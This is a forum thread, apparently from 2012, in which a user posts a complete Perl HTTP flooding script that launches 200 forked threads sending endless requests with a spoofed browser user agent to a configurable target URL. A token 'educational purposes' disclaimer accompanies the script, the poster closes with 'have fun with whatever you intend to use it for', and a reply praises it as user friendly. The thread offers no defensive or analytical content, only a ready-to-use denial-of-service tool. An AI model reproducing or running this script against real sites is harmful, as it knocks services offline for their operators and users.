Jump to content


Check out our Community Blogs

Register and join over 40,000 other developers!


Recent Status Updates

View All Updates

Photo
- - - - -

Perl Dos Tool


  • Please log in to reply
1 reply to this topic

#1 Static

Static

    CC Newcomer

  • New Member
  • PipPip
  • 10 posts
  • Programming Language:C, C++, C#, PHP, (Visual) Basic, Python, JavaScript, Perl, Ruby, Visual Basic .NET, Lua, ActionScript, Haskell, VBScript
  • Learning:C, Bash, Others

Posted 04 May 2012 - 03:25 PM

Got bored.
Educational purposes, of course. I am not responsible for any sort of trouble you may get into as a result of using this script.
# HTTP Flooder
#
# This script floods a webserver with HTTP requests. Use at your own risk!
#
# @author Static
# @version 0.2a
#
use constant {
		TARGET => 'http://theurl/',
		THREADS => 200,
		FORM => (
		)
};
# -- /!\ NO USER EDITING REQUIRED BELOW /!\ -- #
use strict;
use forks;
use LWP::UserAgent;
use POSIX qw(strftime);
our @arrThreads;
for(my $intLoops = 0; $intLoops <= THREADS; $intLoops++) {
		@arrThreads[$intLoops] = new threads('DoS');
}
foreach(@arrThreads) {
		$_->join;
}
sub DoS {
		my $intThread = threads->tid();
		my $intTimes = 0;
		my $objRequest = new LWP::UserAgent;
		$objRequest->timeout(30);
		$objRequest->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0');
		$objRequest->default_header(
				'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
				'Cache-Control' => 'max-age=0',
				'Connection' => 'keep-alive',
				'Keep-Alive' => '300',
				'Accept-Language' => 'en-us,en;q=0.5',
				'Pragma' => ''
		);
		while(1) {
				my $objResponse;
				if(FORM) {
						$objResponse = $objRequest->post(TARGET, FORM);
				}else{
						$objResponse = $objRequest->get(TARGET);
				}
				my $strTime = strftime "%H:%M:%S", localtime;
				if($objResponse->is_success == 1) {
						print $strTime, ': Sent(', $intTimes, ') on Fork: ', $intThread, "\n";
						$intTimes++;
				}else{
						print $strTime, ': Connection failed on Fork: ', $intThread, ' - ', $objResponse->status_line, ".\n";
				}
		}
}
Have fun with whatever you intend to use it for.
  • 2

#2 ThomasHryckewycz

ThomasHryckewycz

    CC Addict

  • Senior Member
  • PipPipPipPipPip
  • 399 posts
  • Location:Delaware
  • Programming Language:C#
  • Learning:C++, PHP, JavaScript

Posted 28 May 2012 - 07:14 PM

Nice! Really user friendly.
  • 0
Send a like my way if I helped you or if you found my post useful or even just enjoyed reading my post.
Thank you :)